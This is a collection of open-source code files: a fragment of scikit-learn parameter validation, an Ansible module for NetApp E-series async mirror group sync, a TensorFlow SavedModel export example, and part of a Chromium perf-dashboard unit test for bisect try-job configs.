raise ValueError("theta0 must be strictly positive.")
elif self.thetaL is None or self.thetaU is None:
raise ValueError("thetaL and thetaU should either be both or "
"neither specified.")
# Force verbose type to bool
self.verbose = bool(self.verbose)
# Force normalize type to bool
self.normalize = bool(self.normalize)
# Check nugget value
self.nugget = np.asarray(self.nugget)
if np.any(self.nugget) < 0.:
raise ValueError("nugget must be positive or zero.")
if (n_samples is not None
and self.nugget.shape not in [(), (n_samples,)]):
raise ValueError("nugget must be either a scalar "
"or array of length n_samples.")
# Check optimizer
if self.optimizer not in self._optimizer_types:
raise ValueError("optimizer should be one of %s"
% self._optimizer_types)
# Force random_start type to int
self.random_start = int(self.random_start)
| bsd-3-clause |
aidan-/ansible-modules-extras | storage/netapp/netapp_e_amg_sync.py | 27 | 10565 | #!/usr/bin/python
# (c) 2016, NetApp, Inc
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
DOCUMENTATION = """
---
module: netapp_e_amg_sync
short_description: Conduct synchronization actions on asynchronous member groups.
description:
- Allows for the initialization, suspension and resumption of an asynchronous mirror group's synchronization for NetApp E-series storage arrays.
version_added: '2.2'
author: Kevin Hulquest (@hulquest)
options:
api_username:
required: true
description:
- The username to authenticate with the SANtricity WebServices Proxy or embedded REST API.
api_password:
required: true
description:
- The password to authenticate with the SANtricity WebServices Proxy or embedded REST API.
api_url:
required: true
description:
- The url to the SANtricity WebServices Proxy or embedded REST API.
example:
- https://prod-1.wahoo.acme.com/devmgr/v2
validate_certs:
required: false
default: true
description:
- Should https certificates be validated?
ssid:
description:
- The ID of the storage array containing the AMG you wish to target
name:
description:
- The name of the async mirror group you wish to target
required: yes
state:
description:
- The synchronization action you'd like to take.
- If C(running) then it will begin syncing if there is no active sync or will resume a suspended sync. If there is already a sync in progress, it will return with an OK status.
- If C(suspended) it will suspend any ongoing sync action, but return OK if there is no active sync or if the sync is already suspended
choices:
- running
- suspended
required: yes
delete_recovery_point:
description:
- Indicates whether the failures point can be deleted on the secondary if necessary to achieve the synchronization.
- If true, and if the amount of unsynchronized data exceeds the CoW repository capacity on the secondary for any member volume, the last failures point will be deleted and synchronization will continue.
- If false, the synchronization will be suspended if the amount of unsynchronized data exceeds the CoW Repository capacity on the secondary and the failures point will be preserved.
- "NOTE: This only has impact for newly launched syncs."
choices:
- yes
- no
default: no
"""
EXAMPLES = """
- name: start AMG async
netapp_e_amg_sync:
name: "{{ amg_sync_name }}"
state: running
ssid: "{{ ssid }}"
api_url: "{{ netapp_api_url }}"
api_username: "{{ netapp_api_username }}"
api_password: "{{ netapp_api_password }}"
"""
RETURN = """
json:
description: The object attributes of the AMG.
returned: success
type: string
example:
{
"changed": false,
"connectionType": "fc",
"groupRef": "3700000060080E5000299C24000006EF57ACAC70",
"groupState": "optimal",
"id": "3700000060080E5000299C24000006EF57ACAC70",
"label": "made_with_ansible",
"localRole": "primary",
"mirrorChannelRemoteTarget": "9000000060080E5000299C24005B06E557AC7EEC",
"orphanGroup": false,
"recoveryPointAgeAlertThresholdMinutes": 20,
"remoteRole": "secondary",
"remoteTarget": {
"nodeName": {
"ioInterfaceType": "fc",
"iscsiNodeName": null,
"remoteNodeWWN": "20040080E5299F1C"
},
"remoteRef": "9000000060080E5000299C24005B06E557AC7EEC",
"scsiinitiatorTargetBaseProperties": {
"ioInterfaceType": "fc",
"iscsiinitiatorTargetBaseParameters": null
}
},
"remoteTargetId": "ansible2",
"remoteTargetName": "Ansible2",
"remoteTargetWwn": "60080E5000299F880000000056A25D56",
"repositoryUtilizationWarnThreshold": 80,
"roleChangeProgress": "none",
"syncActivity": "idle",
"syncCompletionTimeAlertThresholdMinutes": 10,
"syncIntervalMinutes": 10,
"worldWideName": "60080E5000299C24000006EF57ACAC70"
}
"""
import json
from ansible.module_utils.api import basic_auth_argument_spec
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.pycompat24 import get_exception
from ansible.module_utils.urls import open_url
from ansible.module_utils.six.moves.urllib.error import HTTPError
def request(url, data=None, headers=None, method='GET', use_proxy=True,
force=False, last_mod_time=None, timeout=10, validate_certs=True,
url_username=None, url_password=None, http_agent=None, force_basic_auth=True, ignore_errors=False):
try:
r = open_url(url=url, data=data, headers=headers, method=method, use_proxy=use_proxy,
force=force, last_mod_time=last_mod_time, timeout=timeout, validate_certs=validate_certs,
url_username=url_username, url_password=url_password, http_agent=http_agent,
force_basic_auth=force_basic_auth)
except HTTPError:
err = get_exception()
r = err.fp
try:
raw_data = r.read()
if raw_data:
data = json.loads(raw_data)
else:
raw_data = None
except:
if ignore_errors:
pass
else:
raise Exception(raw_data)
resp_code = r.getcode()
if resp_code >= 400 and not ignore_errors:
raise Exception(resp_code, data)
else:
return resp_code, data
class AMGsync(object):
def __init__(self):
argument_spec = basic_auth_argument_spec()
argument_spec.update(dict(
api_username=dict(type='str', required=True),
api_password=dict(type='str', required=True, no_log=True),
api_url=dict(type='str', required=True),
name=dict(required=True, type='str'),
ssid=dict(required=True, type='str'),
state=dict(required=True, type='str', choices=['running', 'suspended']),
delete_recovery_point=dict(required=False, type='bool', default=False)
))
self.module = AnsibleModule(argument_spec=argument_spec)
args = self.module.params
self.name = args['name']
self.ssid = args['ssid']
self.state = args['state']
self.delete_recovery_point = args['delete_recovery_point']
try:
self.user = args['api_username']
self.pwd = args['api_password']
self.url = args['api_url']
except KeyError:
self.module.fail_json(msg="You must pass in api_username"
"and api_password and api_url to the module.")
self.certs = args['validate_certs']
self.post_headers = {
"Accept": "application/json",
"Content-Type": "application/json"
}
self.amg_id, self.amg_obj = self.get_amg()
def get_amg(self):
endpoint = self.url + '/storage-systems/%s/async-mirrors' % self.ssid
(rc, amg_objs) = request(endpoint, url_username=self.user, url_password=self.pwd, validate_certs=self.certs,
headers=self.post_headers)
try:
amg_id = filter(lambda d: d['label'] == self.name, amg_objs)[0]['id']
amg_obj = filter(lambda d: d['label'] == self.name, amg_objs)[0]
except IndexError:
self.module.fail_json(
msg="There is no async mirror group %s associated with storage array %s" % (self.name, self.ssid))
return amg_id, amg_obj
@property
def current_state(self):
amg_id, amg_obj = self.get_amg()
return amg_obj['syncActivity']
def run_sync_action(self):
# If we get to this point we know that the states differ, and there is no 'err' state,
# so no need to revalidate
post_body = dict()
if self.state == 'running':
if self.current_state == 'idle':
if self.delete_recovery_point:
post_body.update(dict(deleteRecoveryPointIfNecessary=self.delete_recovery_point))
suffix = 'sync'
else:
# In a suspended state
suffix = 'resume'
else:
suffix = 'suspend'
endpoint = self.url + "/storage-systems/%s/async-mirrors/%s/%s" % (self.ssid, self.amg_id, suffix)
(rc, resp) = request(endpoint, method='POST', url_username=self.user, url_password=self.pwd,
validate_certs=self.certs, data=json.dumps(post_body), headers=self.post_headers,
ignore_errors=True)
if not str(rc).startswith('2'):
self.module.fail_json(msg=str(resp['errorMessage']))
return resp
def apply(self):
state_map = dict(
running=['active'],
suspended=['userSuspended', 'internallySuspended', 'paused'],
err=['unkown', '_UNDEFINED'])
if self.current_state not in state_map[self.state]:
if self.current_state in state_map['err']:
self.module.fail_json(
msg="The sync is a state of '%s', this requires manual intervention. " +
"Please investigate and try again" % self.current_state)
else:
self.amg_obj = self.run_sync_action()
(ret, amg) = self.get_amg()
self.module.exit_json(changed=False, **amg)
def main():
sync = AMGsync()
sync.apply()
if __name__ == '__main__':
main()
| gpl-3.0 |
elingg/tensorflow | tensorflow/examples/saved_model/saved_model_half_plus_two.py | 7 | 6654 | ## Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
r"""Exports an example linear regression inference graph.
Exports a TensorFlow graph to `/tmp/saved_model/half_plus_two/` based on the
`SavedModel` format.
This graph calculates,
\\(
y = a*x + b
\\)
and/or, independently,
\\(
y2 = a*x2 + c
\\)
where `a`, `b` and `c` are variables with `a=0.5` and `b=2` and `c=3`.
Output from this program is typically used to exercise SavedModel load and
execution code.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import os
import sys
import tensorflow as tf
FLAGS = None
def _write_assets(assets_directory, assets_filename):
"""Writes asset files to be used with SavedModel for half plus two.
Args:
assets_directory: The directory to which the assets should be written.
assets_filename: Name of the file to which the asset contents should be
written.
Returns:
The path to which the assets file was written.
"""
if not tf.python_io.file_exists(assets_directory):
tf.python_io.recursive_create_dir(assets_directory)
path = os.path.join(
tf.compat.as_bytes(assets_directory), tf.compat.as_bytes(assets_filename))
tf.python_io.write_string_to_file(path, "asset-file-contents")
return path
def _generate_saved_model_for_half_plus_two(export_dir, as_text=False):
"""Generates SavedModel for half plus two.
Args:
export_dir: The directory to which the SavedModel should be written.
as_text: Writes the SavedModel protocol buffer in text format to disk.
"""
builder = tf.saved_model.builder.SavedModelBuilder(export_dir)
with tf.Session(graph=tf.Graph()) as sess:
# Set up the model parameters as variables to exercise variable loading
# functionality upon restore.
a = tf.Variable(0.5, name="a")
b = tf.Variable(2.0, name="b")
c = tf.Variable(3.0, name="c")
# Create a placeholder for serialized tensorflow.Example messages to be fed.
serialized_tf_example = tf.placeholder(tf.string, name="tf_example")
# Parse the tensorflow.Example looking for a feature named "x" with a single
# floating point value.
feature_configs = {"x": tf.FixedLenFeature([1], dtype=tf.float32)}
tf_example = tf.parse_example(serialized_tf_example, feature_configs)
# Use tf.identity() to assign name
x = tf.identity(tf_example["x"], name="x")
y = tf.add(tf.multiply(a, x), b, name="y")
x2 = tf.placeholder(tf.float32, name="x2")
tf.add(tf.multiply(a, x2), c, name="y2")
# Create an assets file that can be saved and restored as part of the
# SavedModel.
original_assets_directory = "/tmp/original/export/assets"
original_assets_filename = "foo.txt"
original_assets_filepath = _write_assets(original_assets_directory,
original_assets_filename)
# Set up the assets collection.
assets_filepath = tf.constant(original_assets_filepath)
tf.add_to_collection(tf.GraphKeys.ASSET_FILEPATHS, assets_filepath)
filename_tensor = tf.Variable(
original_assets_filename,
name="filename_tensor",
trainable=False,
collections=[])
assign_filename_op = filename_tensor.assign(original_assets_filename)
# Set up the signature for regression with input and output tensor
# specification.
input_tensor = tf.TensorInfo()
input_tensor.name = serialized_tf_example.name
signature_inputs = {
tf.saved_model.signature_constants.REGRESS_INPUTS: input_tensor}
output_tensor = tf.TensorInfo()
output_tensor.name = tf.identity(y).name
signature_outputs = {
tf.saved_model.signature_constants.REGRESS_OUTPUTS: output_tensor}
signature_def = tf.saved_model.signature_def_utils.build_signature_def(
signature_inputs, signature_outputs,
tf.saved_model.signature_constants.REGRESS_METHOD_NAME)
# Set up the signature for Predict with input and output tensor
# specification.
predict_input_tensor = tf.TensorInfo()
predict_input_tensor.name = x.name
predict_signature_inputs = {
"x": predict_input_tensor
}
predict_output_tensor = tf.TensorInfo()
predict_output_tensor.name = y.name
predict_signature_outputs = {
"y": predict_output_tensor
}
predict_signature_def = (
tf.saved_model.signature_def_utils.build_signature_def(
predict_signature_inputs, predict_signature_outputs,
tf.saved_model.signature_constants.PREDICT_METHOD_NAME))
# Initialize all variables and then save the SavedModel.
sess.run(tf.global_variables_initializer())
signature_def_map = {
tf.saved_model.signature_constants.REGRESS_METHOD_NAME:
signature_def,
tf.saved_model.signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY:
predict_signature_def
}
builder.add_meta_graph_and_variables(
sess, [tf.saved_model.tag_constants.SERVING],
signature_def_map=signature_def_map,
assets_collection=tf.get_collection(tf.GraphKeys.ASSET_FILEPATHS),
legacy_init_op=tf.group(assign_filename_op))
builder.save(as_text)
def main(_):
_generate_saved_model_for_half_plus_two(FLAGS.output_dir)
print("SavedModel generated at: %s" % FLAGS.output_dir)
_generate_saved_model_for_half_plus_two(FLAGS.output_dir_pbtxt, as_text=True)
print("SavedModel generated at: %s" % FLAGS.output_dir_pbtxt)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"--output_dir",
type=str,
default="/tmp/saved_model_half_plus_two",
help="Directory where to ouput SavedModel.")
parser.add_argument(
"--output_dir_pbtxt",
type=str,
default="/tmp/saved_model_half_plus_two_pbtxt",
help="Directory where to ouput the text format of SavedModel.")
FLAGS, unparsed = parser.parse_known_args()
tf.app.run(main=main, argv=[sys.argv[0]] + unparsed)
| apache-2.0 |
modulexcite/catapult | dashboard/dashboard/start_try_job_test.py | 2 | 33603 | # Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import base64
import json
import unittest
import httplib2
import mock
import webapp2
import webtest
from google.appengine.ext import ndb
from dashboard import namespaced_stored_object
from dashboard import rietveld_service
from dashboard import start_try_job
from dashboard import testing_common
from dashboard.models import bug_data
from dashboard.models import graph_data
from dashboard.models import try_job
# Below is a series of test strings which may contain long lines.
# pylint: disable=line-too-long
_EXPECTED_BISECT_CONFIG_DIFF = """config = {
- 'command': '',
- 'good_revision': '',
- 'bad_revision': '',
- 'metric': '',
- 'repeat_count':'',
- 'max_time_minutes': '',
- 'truncate_percent':'',
+ "bad_revision": "215828",
+ "bisect_mode": "mean",
+ "bug_id": "12345",
+ "builder_type": "",
+ "command": "python tools/perf/run_benchmark -v --browser=release --output-format=buildbot --also-run-disabled-tests dromaeo.jslibstylejquery",
+ "good_revision": "215806",
+ "max_time_minutes": "20",
+ "metric": "jslib/jslib",
+ "original_bot_name": "win_perf_bisect",
+ "repeat_count": "20",
+ "target_arch": "ia32",
+ "truncate_percent": "25"
}
"""
_EXPECTED_BISECT_CONFIG_DIFF_FOR_INTERNAL_TEST = """config = {
- 'command': '',
- 'good_revision': '',
- 'bad_revision': '',
- 'metric': '',
- 'repeat_count':'',
- 'max_time_minutes': '',
- 'truncate_percent':'',
+ "bad_revision": "f14a8f733cce874d5d66e8e6b86e75bbac240b0e",
+ "bisect_mode": "mean",
+ "bug_id": "12345",
+ "builder_type": "",
+ "command": "tools/perf/run_benchmark -v --browser=android-chrome --also-run-disabled-tests start_with_url.cold.startup_pages",
+ "good_revision": "d82ccc77c8a86ce9893a8035fb55aca666f044c8",
+ "max_time_minutes": "20",
+ "metric": "foreground_tab_request_start/foreground_tab_request_start",
+ "repeat_count": "20",
+ "target_arch": "ia32",
+ "truncate_percent": "25"
}
"""
_EXPECTED_BISECT_CONFIG_DIFF_WITH_ARCHIVE = """config = {
- 'command': '',
- 'good_revision': '',
- 'bad_revision': '',
- 'metric': '',
- 'repeat_count':'',
- 'max_time_minutes': '',
- 'truncate_percent':'',
+ "bad_revision": "215828",
+ "bisect_mode": "mean",
+ "bug_id": "12345",
+ "builder_type": "perf",
+ "command": "tools/perf/run_benchmark -v --browser=release --output-format=buildbot --also-run-disabled-tests dromaeo.jslibstylejquery",
+ "good_revision": "215806",
+ "max_time_minutes": "20",
+ "metric": "jslib/jslib",
+ "repeat_count": "20",
+ "target_arch": "ia32",
+ "truncate_percent": "25"
}
"""
_EXPECTED_PERF_CONFIG_DIFF = """config = {
- 'command': '',
- 'metric': '',
- 'repeat_count': '',
- 'max_time_minutes': '',
- 'truncate_percent': '',
+ "bad_revision": "215828",
+ "command": "tools/perf/run_benchmark -v --browser=release --output-format=buildbot --also-run-disabled-tests dromaeo.jslibstylejquery",
+ "good_revision": "215806",
+ "max_time_minutes": "60",
+ "repeat_count": "1",
+ "truncate_percent": "0"
}
"""
_FAKE_XSRF_TOKEN = '1234567890'
_ISSUE_CREATED_RESPONSE = """Issue created. https://test-rietveld.appspot.com/33001
1
1001 filename
"""
_BISECT_CONFIG_CONTENTS = """# Copyright (c) 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
\"\"\"Config file for Run Performance Test Bisect Tool
This script is intended for use by anyone that wants to run a remote bisection
on a range of revisions to look for a performance regression. Modify the config
below and add the revision range, performance command, and metric. You can then
run a git try <bot>.
Changes to this file should never be submitted.
Args:
'command': This is the full command line to pass to the
bisect-perf-regression.py script in order to execute the test.
'good_revision': An svn or git revision where the metric hadn't regressed yet.
'bad_revision': An svn or git revision sometime after the metric had
regressed.
'metric': The name of the metric to parse out from the results of the
performance test. You can retrieve the metric by looking at the stdio of
the performance test. Look for lines of the format:
RESULT <graph>: <trace>= <value> <units>
The metric name is "<graph>/<trace>".
'repeat_count': The number of times to repeat the performance test.
'max_time_minutes': The script will attempt to run the performance test
"repeat_count" times, unless it exceeds "max_time_minutes".
'truncate_percent': Discard the highest/lowest % values from performance test.
Sample config:
config = {
'command': './out/Release/performance_ui_tests' +
' --gtest_filter=PageCyclerTest.Intl1File',
'good_revision': '179755',
'bad_revision': '179782',
'metric': 'times/t',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
}
On Windows:
- If you're calling a python script you will need to add "python" to
the command:
config = {
'command': 'python tools/perf/run_benchmark -v --browser=release kraken',
'good_revision': '185319',
'bad_revision': '185364',
'metric': 'Total/Total',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
}
On ChromeOS:
- Script accepts either ChromeOS versions, or unix timestamps as revisions.
- You don't need to specify --identity and --remote, they will be added to
the command using the bot's BISECT_CROS_IP and BISECT_CROS_BOARD values.
config = {
'command': './tools/perf/run_benchmark -v '\
'--browser=cros-chrome-guest '\
'dromaeo tools/perf/page_sets/dromaeo/jslibstylejquery.json',
'good_revision': '4086.0.0',
'bad_revision': '4087.0.0',
'metric': 'jslib/jslib',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
}
\"\"\"
config = {
'command': '',
'good_revision': '',
'bad_revision': '',
'metric': '',
'repeat_count':'',
'max_time_minutes': '',
'truncate_percent':'',
}
# Workaround git try issue, see crbug.com/257689"""
_PERF_CONFIG_CONTENTS = """# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
\"\"\"Config file for Run Performance Test Bot
This script is intended for use by anyone that wants to run a remote performance
test. Modify the config below and add the command to run the performance test,
the metric you're interested in, and repeat/discard parameters. You can then
run a git try <bot>.
Changes to this file should never be submitted.
Args:
'command': This is the full command line to pass to the
bisect-perf-regression.py script in order to execute the test.
'metric': The name of the metric to parse out from the results of the
performance test. You can retrieve the metric by looking at the stdio of
the performance test. Look for lines of the format:
RESULT <graph>: <trace>= <value> <units>
The metric name is "<graph>/<trace>".
'repeat_count': The number of times to repeat the performance test.
'max_time_minutes': The script will attempt to run the performance test
"repeat_count" times, unless it exceeds "max_time_minutes".
'truncate_percent': Discard the highest/lowest % values from performance test.
Sample config:
config = {
'command': './tools/perf/run_benchmark --browser=release smoothness.key_mobile_sites',
'metric': 'mean_frame_time/mean_frame_time',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
}
On Windows:
- If you're calling a python script you will need to add "python" to
the command:
config = {
'command': 'python tools/perf/run_benchmark -v --browser=release smoothness.key_mobile_sites',
'metric': 'mean_frame_time/mean_frame_time',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
}
On ChromeOS:
- Script accepts either ChromeOS versions, or unix timestamps as revisions.
- You don't need to specify --identity and --remote, they will be added to
the command using the bot's BISECT_CROS_IP and BISECT_CROS_BOARD values.
config = {
'command': './tools/perf/run_benchmark -v '\
'--browser=cros-chrome-guest '\
'smoothness.key_mobile_sites',
'metric': 'mean_frame_time/mean_frame_time',
'repeat_count': '20',
'max_time_minutes': '20',
'truncate_percent': '25',
}
\"\"\"
config = {
'command': '',
'metric': '',
'repeat_count': '',
'max_time_minutes': '',
'truncate_percent': '',
}
# Workaround git try issue, see crbug.com/257689"""
# pylint: enable=line-too-long
# These globals are set in tests and checked in _MockMakeRequest.
_EXPECTED_CONFIG_DIFF = None
_TEST_EXPECTED_BOT = None
_TEST_EXPECTED_CONFIG_CONTENTS = None
def _MockFetch(url=None):
if start_try_job._BISECT_CONFIG_PATH in url:
return testing_common.FakeResponseObject(
200, base64.encodestring(_BISECT_CONFIG_CONTENTS))
elif start_try_job._PERF_CONFIG_PATH in url:
return testing_common.FakeResponseObject(
200, base64.encodestring(_PERF_CONFIG_CONTENTS))
def _MockMakeRequest(path, *args, **kwargs): # pylint: disable=unused-argument
"""Mocks out a request, returning a canned response."""
if path.endswith('xsrf_token'):
assert kwargs['headers']['X-Requesting-XSRF-Token'] == 1
return (httplib2.Response({'status': '200'}), _FAKE_XSRF_TOKEN)
if path == 'upload':
assert kwargs['method'] == 'POST'
assert _EXPECTED_CONFIG_DIFF in kwargs['body'], (
'%s\nnot in\n%s\n' % (_EXPECTED_CONFIG_DIFF, kwargs['body']))
return (httplib2.Response({'status': '200'}), _ISSUE_CREATED_RESPONSE)
if path == '33001/upload_content/1/1001':
assert kwargs['method'] == 'POST'
assert _TEST_EXPECTED_CONFIG_CONTENTS in kwargs['body']
return (httplib2.Response({'status': '200'}), 'Dummy content')
if path == '33001/upload_complete/1':
assert kwargs['method'] == 'POST'
return (httplib2.Response({'status': '200'}), 'Dummy content')
if path == '33001/try/1':
assert _TEST_EXPECTED_BOT in kwargs['body']
return (httplib2.Response({'status': '200'}), 'Dummy content')
assert False, 'Invalid url %s requested!' % path
class StartBisectTest(testing_common.TestCase):
def setUp(self):
super(StartBisectTest, self).setUp()
app = webapp2.WSGIApplication(
[('/start_try_job', start_try_job.StartBisectHandler)])
self.testapp = webtest.TestApp(app)
namespaced_stored_object.Set(
start_try_job._BISECT_BOT_MAP_KEY,
{
'ChromiumPerf': [
('nexus4', 'android_nexus4_perf_bisect'),
('nexus7', 'android_nexus7_perf_bisect'),
('win8', 'win_8_perf_bisect'),
('xp', 'win_xp_perf_bisect'),
('android', 'android_nexus7_perf_bisect'),
('mac', 'mac_perf_bisect'),
('win', 'win_perf_bisect'),
('linux', 'linux_perf_bisect'),
('', 'linux_perf_bisect'),
],
})
namespaced_stored_object.Set(
start_try_job._BUILDER_TYPES_KEY,
{'ChromiumPerf': 'perf', 'OtherMaster': 'foo'})
testing_common.SetSheriffDomains(['chromium.org'])
def testPost_InvalidUser_ShowsErrorMessage(self):
self.SetCurrentUser('foo@yahoo.com')
response = self.testapp.post('/start_try_job', {
'test_path': 'ChromiumPerf/win7/morejs/times/page_load_time',
'step': 'prefill-info',
})
self.assertEqual(
{'error': 'User "foo@yahoo.com" not authorized.'},
json.loads(response.body))
def testPost_PrefillInfoStep(self):
self.SetCurrentUser('foo@chromium.org')
testing_common.AddTests(
['ChromiumPerf'],
['win7',
'android-nexus7',
'chromium-rel-win8-dual',
'chromium-rel-xp-single'], {
'page_cycler.morejs': {
'times': {
'page_load_time': {},
'page_load_time_ref': {},
'blog.chromium.org': {},
'dev.chromium.org': {},
'test.blogspot.com': {},
'http___test.com_': {}
},
'vm_final_size_renderer': {
'ref': {},
'vm_final_size_renderer_extcs1': {}
},
},
'blink_perf': {
'Animation_balls': {}
}
}
)
tests = graph_data.Test.query().fetch()
for test in tests:
name = test.key.string_id()
if name in ('times', 'page_cycler.morejs', 'blink_perf'):
continue
test.has_rows = True
ndb.put_multi(tests)
response = self.testapp.post('/start_try_job', {
'test_path': ('ChromiumPerf/win7/page_cycler.morejs/'
'times/page_load_time'),
'step': 'prefill-info',
})
info = json.loads(response.body)
self.assertEqual('win_perf_bisect', info['bisect_bot'])
self.assertEqual('foo@chromium.org', info['email'])
self.assertEqual('page_cycler.morejs', info['suite'])
self.assertEqual('times/page_load_time', info['default_metric'])
self.assertEqual('ChromiumPerf', info['master'])
self.assertFalse(info['internal_only'])
self.assertTrue(info['use_archive'])
self.assertEqual(
[
'android_nexus4_perf_bisect',
'android_nexus7_perf_bisect',
'linux_perf_bisect',
'mac_perf_bisect',
'win_8_perf_bisect',
'win_perf_bisect',
'win_xp_perf_bisect',
], info['all_bots'])
self.assertEqual(
[
'times/blog.chromium.org',
'times/dev.chromium.org',
'times/http___test.com_',
'times/page_load_time',
'times/test.blogspot.com'
],
info['all_metrics'])
response = self.testapp.post('/start_try_job', {
'test_path': ('ChromiumPerf/win7/page_cycler.morejs/'
'vm_final_size_renderer'),
'step': 'prefill-info',
})
info = json.loads(response.body)
self.assertEqual(
['vm_final_size_renderer/vm_final_size_renderer',
'vm_final_size_renderer/vm_final_size_renderer_extcs1'],
info['all_metrics'])
response = self.testapp.post('/start_try_job', {
'test_path': 'ChromiumPerf/win7/blink_perf/Animation_balls',
'step': 'prefill-info',
})
info = json.loads(response.body)
self.assertEqual('Animation_balls/Animation_balls', info['default_metric'])
response = self.testapp.post('/start_try_job', {
'test_path': 'ChromiumPerf/android-nexus7/blink_perf/Animation_balls',
'step': 'prefill-info',
})
info = json.loads(response.body)
self.assertEqual('android_nexus7_perf_bisect', info['bisect_bot'])
response = self.testapp.post('/start_try_job', {
'test_path': ('ChromiumPerf/chromium-rel-win8-dual/'
'blink_perf/Animation_balls'),
'step': 'prefill-info',
})
info = json.loads(response.body)
self.assertEqual('win_8_perf_bisect', info['bisect_bot'])
response = self.testapp.post('/start_try_job', {
'test_path': ('ChromiumPerf/chromium-rel-xp-single/'
'blink_perf/Animation_balls'),
'step': 'prefill-info',
})
info = json.loads(response.body)
self.assertEqual('win_xp_perf_bisect', info['bisect_bot'])
def _TestGetBisectConfig(self, parameters, expected_config_dict):
"""Helper method to test get-config requests."""
response = start_try_job.GetBisectConfig(**parameters)
self.assertEqual(expected_config_dict, response)
def testGetConfig_EmptyUseArchiveParameter_GivesEmptyBuilderType(self):
self._TestGetBisectConfig(
{
'bisect_bot': 'linux_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.moz',
'metric': 'times/page_load_time',
'good_revision': '265549',
'bad_revision': '265556',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'use_archive': '',
},
{
'command': ('tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.moz'),
'good_revision': '265549',
'bad_revision': '265556',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': '',
'target_arch': 'ia32',
'bisect_mode': 'mean',
'original_bot_name': None,
})
def testGetConfig_UseBuildbucket_ChangesTelemetryOutputFormat(self):
self._TestGetBisectConfig(
{
'bisect_bot': 'linux_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.moz',
'metric': 'times/page_load_time',
'good_revision': '265549',
'bad_revision': '265556',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'use_archive': 'true',
'original_bot_name': 'chrome-rel-linux',
'use_buildbucket': True,
},
{
'command': ('tools/perf/run_benchmark -v '
'--browser=release --output-format=chartjson '
'--also-run-disabled-tests '
'page_cycler.moz'),
'good_revision': '265549',
'bad_revision': '265556',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': 'perf',
'target_arch': 'ia32',
'bisect_mode': 'mean',
'original_bot_name': 'chrome-rel-linux',
})
def testGetConfig_NonEmptyUseArchiveParameter_GivesNonEmptyBuilderType(self):
# Any non-empty value for use_archive means that archives should be used.
# Even if value of use_archive is "false", archives will still be used!
self._TestGetBisectConfig(
{
'bisect_bot': 'linux_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.moz',
'metric': 'times/page_load_time',
'good_revision': '265549',
'bad_revision': '265556',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'use_archive': '',
},
{
'command': ('tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.moz'),
'good_revision': '265549',
'bad_revision': '265556',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': '',
'target_arch': 'ia32',
'bisect_mode': 'mean',
'original_bot_name': None,
})
def testGetConfig_TelemetryTest(self):
self._TestGetBisectConfig(
{
'bisect_bot': 'win_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.morejs',
'metric': 'times/page_load_time',
'good_revision': '12345',
'bad_revision': '23456',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
},
{
'command': ('python tools/perf/run_benchmark -v '
'--browser=release --output-format=buildbot '
'--also-run-disabled-tests '
'page_cycler.morejs'),
'good_revision': '12345',
'bad_revision': '23456',
'metric': 'times/page_load_time',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'builder_type': '',
'target_arch': 'ia32',
'bisect_mode': 'mean',
'original_bot_name': None,
})
def testGetConfig_BisectModeSetToReturnCode(self):
self._TestGetBisectConfig(
{
'bisect_bot': 'linux_perf_bisect',
'master_name': 'ChromiumPerf',
'suite': 'page_cycler.moz',
'metric': 'times/page_load_time',
'good_revision': '265549',
'bad_revision': '265556',
'repeat_count': '15',
'max_time_minutes': '8',
'truncate_percent': '30',
'bug_id': '-1',
'use_archive': '',
'bisect_mode': 'return_code',
},
{
